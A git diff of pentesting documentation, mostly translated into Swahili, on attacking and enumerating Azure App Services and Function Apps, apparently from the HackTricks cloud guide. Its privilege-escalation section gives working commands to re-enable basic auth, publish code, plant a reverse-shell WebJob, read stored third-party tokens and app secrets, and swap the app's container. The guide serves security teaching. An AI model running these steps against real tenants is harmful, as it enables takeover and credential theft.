kwamba kila mtumiaji anaweza kuunda credentials zake mwenyewe kwa kuita amri ya awali, lakini ikiwa mtumiaji hana ruhusa za kutosha kuingia kwenye SCM au FTP, credentials hazitafanya kazi. +- Ikiwa unaona kwamba hizo credentials zime **REDACTED**, ni kwa sababu unahitaji **kuwezesha chaguo la uthibitishaji wa msingi wa SCM** na kwa hiyo unahitaji ruhusa ya pili (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`): ```bash # Enable basic authentication for SCM az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - }' +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' # Enable basic authentication for FTP az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - }' +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' ``` - ### Publish code using SCM credentials -Just having valid SCM credentials it's possible to **publish code** to the App service. This can be done using the following command. +Kuwa na akreditif za SCM halali inawezekana **kuchapisha msimbo** kwenye huduma ya App. Hii inaweza kufanywa kwa kutumia amri ifuatayo. -For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any **changes** you wish and then **zip it running: `zip -r app.zip .`**. - -Then you can **publish the code** in a web app with the following command: +Kwa mfano huu wa python unaweza kupakua repo kutoka https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, fanya **mabadiliko** yoyote unayotaka na kisha **zip kwa kukimbia: `zip -r app.zip .`**. +Kisha unaweza **kuchapisha msimbo** katika programu ya wavuti kwa kutumia amri ifuatayo: ```bash curl -X POST "/api/publish?type=zip" --data-binary "@./app.zip" -u ':' -H "Content-Type: application/octet-stream" ``` - ### Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials -The mentioned Azure permission allows to perform several interesting actions that can also be performed with the SCM credentials: - -- Read **Webjobs** logs: +Ruhusa iliyoelezwa ya Azure inaruhusu kufanya vitendo kadhaa vya kuvutia ambavyo vinaweza pia kufanywa kwa kutumia SCM credentials: +- Soma **Webjobs** logs: ```bash # Using Azure credentials az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" @@ -188,123 +179,108 @@ az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.az # Using SCM username and password: curl "/vfs/data/jobs/continuous/job_name/job_log.txt" \ - --user ':' -v +--user ':' -v ``` - -- Read **Webjobs** source code: - +- Soma **Webjobs** msimbo wa chanzo: ```bash # Using SCM username and password: # Find all the webjobs inside: curl "/wwwroot/App_Data/jobs/" \ - --user ':' +--user ':' # e.g. curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \ - --user ':' +--user ':' ``` - -- Create **continuous Webjob**: - +- Unda **Webjob endelevu**: ```bash # Using Azure permissions az rest \ - --method put \ - --uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ - --headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ - --body "@/Users/username/Downloads/rev.js" \ - --resource "https://management.azure.com/" +--method put \ +--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ +--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ +--body "@/Users/username/Downloads/rev.js" \ +--resource "https://management.azure.com/" # Using SCM credentials curl -X PUT \ - "/api/Continuouswebjobs/reverse_shell2" \ - -H 'Content-Disposition: attachment; filename=rev.js' \ - --data-binary "@/Users/carlospolop/Downloads/rev.js" \ - --user ':' +"/api/Continuouswebjobs/reverse_shell2" \ +-H 'Content-Disposition: attachment; filename=rev.js' \ +--data-binary "@/Users/carlospolop/Downloads/rev.js" \ +--user ':' ``` - ### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action -These permissions allow to **assign a managed identity** to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and **escalate privileges** to them. - +Hizi ruhusa zinaruhusu **kuteua utambulisho wa kusimamiwa** kwa huduma ya App, hivyo ikiwa huduma ya App ilishambuliwa hapo awali hii itaruhusu mshambuliaji kuteua utambulisho mpya wa kusimamiwa kwa huduma ya App na **kuinua mamlaka** kwao. ```bash az webapp identity assign --name --resource-group --identities /subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` - ### Microsoft.Web/sites/config/list/action -This permission allows to list the **connection strings** and the **appsettings** of the App service which might contain sensitive information like database credentials. - +Ruhusa hii inaruhusu kuorodhesha **connection strings** na **appsettings** za huduma ya App ambazo zinaweza kuwa na taarifa nyeti kama vile akidi za database. ```bash az webapp config connection-string list --name --resource-group az webapp config appsettings list --name --resource-group ``` +### Soma Akikodi za Watu wa Tatu Zilizowekwa -### Read Configured Third Party Credentials - -Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one. - +Kukimbia amri ifuatayo inawezekana **kusoma akidi za watu wa tatu** zilizowekwa katika akaunti ya sasa. Kumbuka kwamba ikiwa kwa mfano akidi za Github zimewekwa kwa mtumiaji tofauti, huwezi kupata token kutoka kwa mwingine. ```bash az rest --method GET \ - --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` +Amri hii inarudisha tokeni za Github, Bitbucket, Dropbox na OneDrive. -This command returns tokens for Github, Bitbucket, Dropbox and OneDrive. - -Here you have some command examples to check the tokens: - +Hapa kuna mifano ya amri za kuangalia tokeni: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ - -H "Accept: application/vnd.github.v3+json" \ - https://api.github.com/user/repos +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos # Bitbucket – List Repositories curl -H "Authorization: Bearer " \ - -H "Accept: application/json" \ - https://api.bitbucket.org/2.0/repositories +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories # Dropbox – List Files in Root Folder curl -X POST https://api.dropboxapi.com/2/files/list_folder \ - -H "Authorization: Bearer " \ - -H "Content-Type: application/json" \ - --data '{"path": ""}' +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' # OneDrive – List Files in Root Folder curl -H "Authorization: Bearer " \ - -H "Accept: application/json" \ - https://graph.microsoft.com/v1.0/me/drive/root/children +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children ``` - ### Update App Code from the source -- If the configured source is a third-party provider like Github, BitBucket or an Azure Repository, you can **update the code** of the App service by compromising the source code in the repository. -- If the app is configured using a **remote git repository** (with username and password), it's possible to get the **URL and basic auth credentials** to clone and push changes with: - - Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name --resource-group ` - - Using the permission **`Microsoft.Web/sites/config/list/action`**: - - `az webapp deployment list-publishing-credentials --name --resource-group ` - - `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` -- If the app is configured to use a **local git repository**, it's possible to **clone the repository** and **push changes** to it: - - Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: You can get the URL of the git repo with `az webapp deployment source show --name --resource-group `, but it's going to be the same as the the SCM URL of the app with the path `/.git` (e.g. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`). - - To get the SCM credential you need the permission: - - **`Microsoft.Web/sites/publishxml/action`**: Then run `az webapp deployment list-publishing-profiles --resource-group -n `. - - **`Microsoft.Web/sites/config/list/action`**: Then run `az webapp deployment list-publishing-credentials --name --resource-group ` +- Ikiwa chanzo kilichowekwa ni mtoa huduma wa tatu kama Github, BitBucket au Azure Repository, unaweza **kusaidia kuboresha msimbo** wa huduma ya App kwa kuathiri msimbo wa chanzo katika hifadhi. +- Ikiwa programu imewekwa kutumia **hifadhi ya git ya mbali** (ikiwa na jina la mtumiaji na nenosiri), inawezekana kupata **URL na akreditif za msingi za uthibitishaji** ili kunakili na kusukuma mabadiliko kwa: +- Kutumia ruhusa **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name --resource-group ` +- Kutumia ruhusa **`Microsoft.Web/sites/config/list/action`**: +- `az webapp deployment list-publishing-credentials --name --resource-group ` +- `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- Ikiwa programu imewekwa kutumia **hifadhi ya git ya ndani**, inawezekana **kunakili hifadhi** na **kusukuma mabadiliko** ndani yake: +- Kutumia ruhusa **`Microsoft.Web/sites/sourcecontrols/read`**: Unaweza kupata URL ya hifadhi ya git kwa `az webapp deployment source show --name --resource-group `, lakini itakuwa sawa na URL ya SCM ya programu yenye njia `/.git` (mfano `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`). +- Ili kupata akreditif za SCM unahitaji ruhusa: +- **`Microsoft.Web/sites/publishxml/action`**: Kisha endesha `az webapp deployment list-publishing-profiles --resource-group -n `. +- **`Microsoft.Web/sites/config/list/action`**: Kisha endesha `az webapp deployment list-publishing-credentials --name --resource-group ` > [!WARNING] -> Note that having the permission `Microsoft.Web/sites/config/list/action` and the SCM credentials it's always possible to deploy into a webapp (even if it was configured to use a third-party provider) as mentioned in a previous section. +> Kumbuka kwamba kuwa na ruhusa `Microsoft.Web/sites/config/list/action` na akreditif za SCM daima inawezekana kupeleka kwenye webapp (hata kama ilipangwa kutumia mtoa huduma wa tatu) kama ilivyotajwa katika sehemu ya awali. > [!WARNING] -> Note that having the permissions below it's also **possible to execute an arbitrary container** even if the webapp was configured differently. +> Kumbuka kwamba kuwa na ruhusa zilizo hapa chini pia ni **uwezekano wa kutekeleza kontena chochote** hata kama webapp ilipangwa tofauti. ### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read` -This is the set of permissions that allows to **modify the container used** by a webapp. An attacker could abuse it to make a webapp execute a malicious container. - +Hii ni seti ya ruhusa inayoruhusu **kubadilisha kontena kinachotumiwa** na webapp. Mshambuliaji anaweza kuitumia kuifanya webapp kutekeleza kontena hatari. ```bash az webapp config container set \ - --name \ - --resource-group \ - --docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest +--name \ +--resource-group \ +--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-services.md b/src/pentesting-cloud/azure-security/az-services/az-app-services.md index 37ae7c0d4..d53d1fc13 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-services.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-services.md @@ -4,33 +4,34 @@ ## App Service Basic Information -Azure App Services inaruhusu waendelezaji **kuunda, kupeleka, na kupanua programu za wavuti, nyuma ya programu za simu, na APIs bila shida**. Inasaidia lugha nyingi za programu na inajumuisha zana na huduma mbalimbali za Azure kwa ajili ya kuboresha utendaji na usimamizi. +Azure App Services inaruhusu waendelezaji **kuunda, kupeleka, na kupanua programu za wavuti, nyuma za programu za simu, na APIs bila shida**. Inasaidia lugha nyingi za programu na inajumuisha zana na huduma mbalimbali za Azure kwa ajili ya kuboresha kazi na usimamizi. Kila programu inafanya kazi ndani ya sandbox lakini kutengwa kunategemea mipango ya App Service: - Programu katika ngazi za Bure na Kushiriki zinafanya kazi kwenye **VM zinazoshirikiwa** -- Programu katika ngazi za Kawaida na Kitaalamu zinafanya kazi kwenye **VM zilizotengwa zinazoshirikiwa tu na programu** katika mpango huo wa App Service. +- Programu katika ngazi za Kawaida na Kitaalamu zinafanya kazi kwenye **VM zilizotengwa zinazoshirikiwa tu na programu** katika mpango sawa wa App Service. - Ngazi za Kutengwa zinafanya kazi kwenye **VM zilizotengwa kwenye mitandao halisi iliyotengwa**, kuboresha kutengwa kwa programu. > [!WARNING] -> Kumbuka kwamba **hakuna** ya kutengwa hizo **inaweza kuzuia** udhaifu mwingine wa kawaida wa **wavuti** (kama vile kupakia faili, au sindano). Na ikiwa **utambulisho wa usimamizi** unatumika, inaweza kuwa na uwezo wa **kuinua mamlaka kwao**. +> Kumbuka kwamba **hakuna** ya kutengwa hizo **inaepusha** udhaifu mwingine wa kawaida wa **wavuti** (kama vile kupakia faili, au sindano). Na ikiwa **utambulisho wa usimamizi** unatumika, inaweza kuwa na uwezo wa **kuinua mamlaka kwao**. -Programu zina baadhi ya mipangilio ya kuvutia: +Programu zina mipangilio ya kuvutia: - **Daima On**: Inahakikisha kwamba programu inafanya kazi kila wakati. Ikiwa haijawashwa, programu itasimama kufanya kazi baada ya dakika 20 za kutokuwa na shughuli na itaanza tena wakati ombi litakapopokelewa. - Hii ni muhimu ikiwa una kazi ya wavuti inayohitaji kufanya kazi bila kukatika kwani kazi ya wavuti itasimama ikiwa programu itasimama. - **SSH**: Ikiwa imewashwa, mtumiaji mwenye ruhusa ya kutosha anaweza kuungana na programu kwa kutumia SSH. -- **Kusafisha**: Ikiwa imewashwa, mtumiaji mwenye ruhusa ya kutosha anaweza kusafisha programu. Hata hivyo, hii inazuiliwa kiotomatiki kila masaa 48. -- **Web App + Database**: Kihifadhi cha wavuti kinaruhusu kuunda Programu yenye hifadhidata. Katika kesi hii inawezekana kuchagua hifadhidata ya kutumia (SQLAzure, PostgreSQL, MySQL, MongoDB) na pia inaruhusu kuunda Cache ya Azure kwa Redis. +- **Urekebishaji**: Ikiwa imewashwa, mtumiaji mwenye ruhusa ya kutosha anaweza kurekebisha programu. Hata hivyo, hii inazuiliwa kiotomatiki kila masaa 48. +- **Programu ya Wavuti + Hifadhidata**: Kihifadhi cha wavuti kinaruhusu kuunda Programu yenye hifadhidata. Katika kesi hii inawezekana kuchagua hifadhidata ya kutumia (SQLAzure, PostgreSQL, MySQL, MongoDB) na pia inaruhusu kuunda Cache ya Azure kwa Redis. - URL inayoshikilia taarifa za kuingia kwa hifadhidata na Redis itahifadhiwa katika **appsettings**. -- **Container**: Inawezekana kupeleka kontena kwa App Service kwa kuashiria URL ya kontena na taarifa za kuingia. -- **Mounts**: Inawezekana kuunda mounts 5 kutoka kwa akaunti za Hifadhi ikiwa ni pamoja na Azure Blob (Soma tu) au Azure Files. Mipangilio itahifadhi funguo za ufikiaji juu ya Akaunti ya Hifadhi. +- **Konteina**: Inawezekana kupeleka konteina kwa App Service kwa kuashiria URL ya konteina na taarifa za kuingia. +- **Mounts**: Inawezekana kuunda mounts 5 kutoka kwa akaunti za Hifadhi ikiwa ni pamoja na Azure Blob (Soma Tu) au Azure Files. Mipangilio itahifadhi funguo za ufikiaji juu ya Akaunti ya Hifadhi. +- **Mitandao**: Inaweza kuwa inapatikana hadharani au inapatikana tu kupitia mwisho wa faragha kutoka VNet. ## Basic Authentication -Wakati wa kuunda programu ya wavuti (na kazi ya Azure kwa kawaida) inawezekana kuashiria ikiwa unataka **Mamlaka ya Msingi iwe imewashwa** (imezimwa kwa chaguo-msingi). Hii kimsingi **inawezesha SCM (Meneja wa Udhibiti wa Chanzo) na FTP (Protokali ya Uhamishaji wa Faili)** kwa programu ili iwezekane kupeleka programu kwa kutumia teknolojia hizo. +Wakati wa kuunda programu ya wavuti (na kazi ya Azure kwa kawaida) inawezekana kuashiria ikiwa unataka **Uthibitishaji wa Msingi kuwashwa** (imezimwa kwa default). Hii kimsingi **inawasha SCM (Meneja wa Udhibiti wa Chanzo) na FTP (Protokali ya Uhamishaji wa Faili)** kwa ajili ya programu ili iwezekane kupeleka programu kwa kutumia teknolojia hizo. -Ili kufikia seva za SCM na FTP, **jina la mtumiaji na nenosiri** inahitajika. Kwa hivyo, Azure inatoa baadhi ya **APIs kupata URL** za majukwaa haya na taarifa za kuingia. +Ili kufikia seva za SCM na FTP, **jina la mtumiaji na nenosiri** linahitajika. Kwa hivyo, Azure inatoa baadhi ya **APIs kupata URL** za majukwaa haya na taarifa za kuingia. **Seva ya FTP haina uchawi maalum**, kwa URL halali, jina la mtumiaji na nenosiri inawezekana kuungana na kupata ruhusa za kusoma na kuandika juu ya mazingira ya App. @@ -39,15 +40,15 @@ Inawezekana kuungana na SCM kwa kutumia kivinjari cha wavuti katika `https:// --resource-group ` au `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- Unaweza kupata taarifa za kuingia kwenye repo ya mbali kwa kukimbia `az webapp deployment source show --name --resource-group ` au `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` - Pia inawezekana kutumia **Azure Repository**. - Pia inawezekana kuunda **hifadhi ya git ya ndani**. -- Unaweza kupata URL ya hifadhi ya git kwa `az webapp deployment source show --name --resource-group ` na itakuwa URL ya SCM ya programu. +- Unaweza kupata URL ya repo ya git kwa `az webapp deployment source show --name --resource-group ` na itakuwa URL ya SCM ya programu. - Ili kuikopi, utahitaji taarifa za kuingia za SCM ambazo unaweza kupata kwa `az webapp deployment list-publishing-profiles --resource-group -n ` ## Webjobs -Azure WebJobs ni **kazi za nyuma zinazofanya kazi katika mazingira ya Azure App Service**. Zinawaruhusu waendelezaji kutekeleza skripti au programu pamoja na programu zao za wavuti, na kufanya iwe rahisi kushughulikia shughuli zisizo za kawaida au zinazohitaji muda kama vile usindikaji wa faili, usimamizi wa data, au kazi za ratiba. +Azure WebJobs ni **kazi za nyuma zinazofanya kazi katika mazingira ya Azure App Service**. Zinawaruhusu waendelezaji kutekeleza skripti au programu pamoja na programu zao za wavuti, na kufanya iwe rahisi kushughulikia shughuli zisizo za kawaida au zinazochukua muda kama vile usindikaji wa faili, usimamizi wa data, au kazi za ratiba. Kuna aina 2 za kazi za wavuti: - **Endelea**: Inafanya kazi bila kikomo katika mzunguko na inasababishwa mara tu inapotengenezwa. Ni bora kwa kazi zinazohitaji usindikaji wa mara kwa mara. Hata hivyo, ikiwa programu itasimama kufanya kazi kwa sababu Daima On imezimwa na haijapokea ombi katika dakika 20 zilizopita, kazi ya wavuti pia itasimama. - **Iliyosababishwa**: Inafanya kazi kwa ombi au kulingana na ratiba. Inafaa zaidi kwa kazi za mara kwa mara, kama vile masasisho ya data ya kundi au taratibu za matengenezo. @@ -81,15 +82,15 @@ Zaidi ya hayo, kila wakati ni muhimu kuangalia **kumbukumbu** zinazozalishwa na ## Slots -Azure App Service Slots zinatumika **kupeleka matoleo tofauti ya programu** kwa App Service moja. Hii inaruhusu waendelezaji kujaribu vipengele au mabadiliko mapya katika mazingira tofauti kabla ya kuyapeleka katika mazingira ya uzalishaji. +Azure App Service Slots zinatumika **kupeleka matoleo tofauti ya programu** kwa App Service moja. Hii inaruhusu waendelezaji kujaribu vipengele au mabadiliko mapya katika mazingira tofauti kabla ya kuyapeleka kwenye mazingira ya uzalishaji. Zaidi ya hayo, inawezekana kuelekeza **asilimia ya trafiki** kwa slot maalum, ambayo ni muhimu kwa majaribio ya A/B, na kwa **madhumuni ya nyuma**. ## Azure Function Apps -Kimsingi **Azure Function apps ni sehemu ya Azure App Service** katika kihifadhi cha wavuti na ikiwa utaenda kwenye kihifadhi cha wavuti na kuorodhesha huduma zote za programu au kutekeleza `az webapp list` katika az cli utaweza **kuona Function apps pia zimeorodheshwa huko**. +Kimsingi **Azure Function apps ni sehemu ya Azure App Service** katika kihifadhi cha wavuti na ikiwa utaenda kwenye kihifadhi cha wavuti na kuorodhesha huduma zote za programu au kutekeleza `az webapp list` katika az cli utaweza **kuona Function apps pia zikiwa zimeorodheshwa huko**. -Kwa hivyo, huduma zote mbili kwa kweli zina **mipangilio, vipengele na chaguo sawa katika az cli**, ingawa zinaweza kuziweka kidogo tofauti (kama vile thamani za chaguo-msingi za appsettings au matumizi ya Akaunti ya Hifadhi katika Function apps). +Kwa hivyo, huduma zote mbili kwa kweli zina **mipangilio, vipengele na chaguzi sawa katika az cli**, ingawa zinaweza kuzisakinisha kidogo tofauti (kama vile thamani za default za appsettings au matumizi ya Akaunti ya Hifadhi katika Function apps). ## Enumeration @@ -176,6 +177,10 @@ az webapp conection list --name --resource-group # Get hybrid-connections of a webapp az webapp hybrid-connections list --name --resource-group + +# Get configured SMC users by your account +az webapp deployment user show +## If any user is created, the username should appear in the "publishingUserName" field ``` {{#endtab }} @@ -233,7 +238,7 @@ Get-AzWebAppBackupList -ResourceGroupName -Name ``` {{#endtab }} -{{#tab name="az pata yote" }} +{{#tab name="az get all" }} ```bash #!/bin/bash @@ -270,7 +275,7 @@ done ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -## Mifano ya kuunda Web Apps +## Mifano ya kuunda Programu za Mtandao ### Python kutoka kwa eneo @@ -283,7 +288,7 @@ cd msdocs-python-flask-webapp-quickstart # Create webapp from this code az webapp up --runtime PYTHON:3.9 --sku B1 --logs ``` -Kuingia kwenye lango la SCM au kuingia kupitia FTP inawezekana kuona katika `/wwwroot` faili iliyo na muundo wa `output.tar.gz` ambayo ina msimbo wa webapp. +Kuingia kwenye lango la SCM au kuingia kupitia FTP inawezekana kuona katika `/wwwroot` faili iliyo na muundo `output.tar.gz` ambayo ina msimbo wa webapp. > [!TIP] > Kuungana tu kupitia FTP na kubadilisha faili `output.tar.gz` haitoshi kubadilisha msimbo unaotekelezwa na webapp. @@ -292,24 +297,24 @@ Kuingia kwenye lango la SCM au kuingia kupitia FTP inawezekana kuona katika `/ww ### Python kutoka Github -Mafunzo haya yanategemea yale ya awali lakini yanatumia hifadhi ya Github. +Mafunzo haya yanategemea yale ya awali lakini yanatumia hazina ya Github. -1. Fork hifadhi msdocs-python-flask-webapp-quickstart katika akaunti yako ya Github. +1. Fork hazina msdocs-python-flask-webapp-quickstart katika akaunti yako ya Github. 2. Unda Web App mpya ya python katika Azure. -3. Katika `Deployment Center` badilisha chanzo, ingia na Github, chagua hifadhi iliyoforked na bonyeza `Save`. +3. Katika `Kituo cha Utekelezaji`, badilisha chanzo, ingia na Github, chagua hazina iliyoforked na bonyeza `Hifadhi`. -Kama katika kesi ya awali, kuingia kwenye lango la SCM au kuingia kupitia FTP inawezekana kuona katika `/wwwroot` faili iliyo na muundo wa `output.tar.gz` ambayo ina msimbo wa webapp. +Kama katika kesi ya awali, kuingia kwenye lango la SCM au kuingia kupitia FTP inawezekana kuona katika `/wwwroot` faili iliyo na muundo `output.tar.gz` ambayo ina msimbo wa webapp. > [!TIP] -> Kuungana tu kupitia FTP na kubadilisha faili `output.tar.gz` na kuanzisha tena uanzishaji haitoshi kubadilisha msimbo unaotekelezwa na webapp. +> Kuungana tu kupitia FTP na kubadilisha faili `output.tar.gz` na kuanzisha tena utekelezaji haitoshi kubadilisha msimbo unaotekelezwa na webapp. -## Privilege Escalation +## Kuinua Haki {{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -## References +## Marejeleo - [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) - [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans) diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md index 2c64350b1..60d82f35b 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -4,27 +4,27 @@ ## Basic Information -**Azure Function Apps** ni **huduma ya kompyuta isiyo na seva** inayokuwezesha kuendesha vipande vidogo vya msimbo, vinavyojulikana kama **functions**, bila kusimamia miundombinu ya chini. Zimeundwa kutekeleza msimbo kama jibu kwa vichocheo mbalimbali, kama vile **maombi ya HTTP, timer, au matukio kutoka kwa huduma nyingine za Azure** kama Blob Storage au Event Hubs. Function Apps zinasaidia lugha nyingi za programu, ikiwa ni pamoja na C#, Python, JavaScript, na Java, na kuifanya kuwa rahisi kwa ajili ya kujenga **maombi yanayoendeshwa na matukio**, kuendesha michakato, au kuunganisha huduma. Ni za gharama nafuu, kwani kwa kawaida unalipa tu kwa muda wa kompyuta ulitumika wakati msimbo wako unakimbia. +**Azure Function Apps** ni **huduma ya kompyuta isiyo na seva** inayokuwezesha kuendesha vipande vidogo vya msimbo, vinavyojulikana kama **functions**, bila kusimamia miundombinu ya chini. Zimeundwa kutekeleza msimbo kama jibu la vichocheo mbalimbali, kama vile **maombi ya HTTP, timer, au matukio kutoka huduma nyingine za Azure** kama Blob Storage au Event Hubs. Function Apps zinasaidia lugha nyingi za programu, ikiwa ni pamoja na C#, Python, JavaScript, na Java, na kuifanya kuwa rahisi kwa ajili ya kujenga **maombi yanayoendeshwa na matukio**, kuendesha michakato, au kuunganisha huduma. Ni za gharama nafuu, kwani kwa kawaida unalipa tu kwa muda wa kompyuta ulitumika wakati msimbo wako unakimbia. > [!NOTE] > Kumbuka kwamba **Functions ni sehemu ya App Services**, kwa hivyo, nyingi ya vipengele vilivyojadiliwa hapa vitatumika pia na maombi yaliyoundwa kama Azure Apps (`webapp` katika cli). ### Different Plans -- **Flex Consumption Plan**: Inatoa **kupanua kwa njia ya matukio, inayotegemea mahitaji** na bei ya kulipa kadri unavyotumia, ikiongeza au kuondoa mifano ya kazi kulingana na mahitaji. Inasaidia **mtandao wa virtual** na **mifano iliyotayarishwa awali** ili kupunguza kuanza baridi, na kuifanya kuwa bora kwa **mizigo inayobadilika** ambayo haitahitaji msaada wa kontena. -- **Traditional Consumption Plan**: Chaguo la seva isiyo na msingi, ambapo unalipa tu kwa rasilimali za kompyuta wakati kazi zinakimbia. Inapanuka kiotomatiki kulingana na matukio yanayoingia na inajumuisha **mipango ya kuanza baridi**, lakini haisaidii usambazaji wa kontena. Inafaa kwa **mizigo ya muda mfupi** inayohitaji kupanuka kiotomatiki. -- **Premium Plan**: Imeundwa kwa ajili ya **utendaji thabiti**, ikiwa na **wafanyakazi walioandaliwa awali** ili kuondoa kuanza baridi. Inatoa **nyakati za utekelezaji zilizopanuliwa, mtandao wa virtual**, na inasaidia **picha za Linux za kawaida**, na kuifanya kuwa bora kwa **maombi muhimu** yanayohitaji utendaji wa juu na vipengele vya juu. -- **Dedicated Plan**: Inakimbia kwenye mashine halisi zilizotengwa na **malipo yanayoweza kutabiriwa** na inasaidia kupanuka kwa mikono au kiotomatiki. Inaruhusu kuendesha programu nyingi kwenye mpango mmoja, inatoa **kujitegemea kwa kompyuta**, na inahakikisha **ufikiaji salama wa mtandao** kupitia Mazingira ya Huduma ya Programu, na kuifanya kuwa bora kwa **maombi yanayoendelea kwa muda mrefu** yanayohitaji ugawaji wa rasilimali thabiti. -- **Container Apps**: Inaruhusu kupeleka **maombi ya kazi yaliyowekwa kwenye kontena** katika mazingira yanayosimamiwa, pamoja na huduma ndogo na APIs. Inasaidia maktaba za kawaida, uhamishaji wa programu za zamani, na **usindikaji wa GPU**, ikiondoa usimamizi wa klasta za Kubernetes. Inafaa kwa **maombi yanayoendeshwa na matukio, yanayoweza kupanuka yaliyowekwa kwenye kontena**. +- **Flex Consumption Plan**: Inatoa **kupanua kwa njia ya matukio, inayotegemea mahitaji** na bei ya kulipa kadri unavyotumia, ikiongeza au kuondoa mifano ya kazi kulingana na mahitaji. Inasaidia **mtandao wa virtual** na **mifano iliyotayarishwa awali** ili kupunguza kuanza baridi, na kuifanya iweze kutumika kwa **mizigo inayobadilika** ambayo haitahitaji msaada wa kontena. +- **Traditional Consumption Plan**: Chaguo la seva isiyo na msingi, ambapo unalipa tu kwa rasilimali za kompyuta wakati kazi zinakimbia. Inapanuka kiotomatiki kulingana na matukio yanayoingia na inajumuisha **mipango ya kuanza baridi**, lakini haisaidii uwekaji wa kontena. Inafaa kwa **mizigo ya muda mfupi** inayohitaji kupanuka kiotomatiki. +- **Premium Plan**: Imeundwa kwa ajili ya **utendaji thabiti**, ikiwa na **wafanyakazi waliotayarishwa awali** ili kuondoa kuanza baridi. Inatoa **nyakati za utekelezaji zilizopanuliwa, mtandao wa virtual**, na inasaidia **picha za Linux za kawaida**, na kuifanya kuwa bora kwa **maombi muhimu** yanayohitaji utendaji wa juu na vipengele vya juu. +- **Dedicated Plan**: Inakimbia kwenye mashine halisi zilizo na **malipo yanayoweza kutabiriwa** na inasaidia kupanuka kwa mikono au kiotomatiki. Inaruhusu kuendesha maombi mengi kwenye mpango mmoja, inatoa **kujitegemea kwa kompyuta**, na inahakikisha **ufikiaji salama wa mtandao** kupitia Mazingira ya Huduma ya App, na kuifanya kuwa bora kwa **maombi yanayoendelea kwa muda mrefu** yanayohitaji ugawaji wa rasilimali thabiti. +- **Container Apps**: Inaruhusu kuweka **maombi ya kazi yaliyowekwa kwenye kontena** katika mazingira yanayosimamiwa, pamoja na microservices na APIs. Inasaidia maktaba za kawaida, uhamishaji 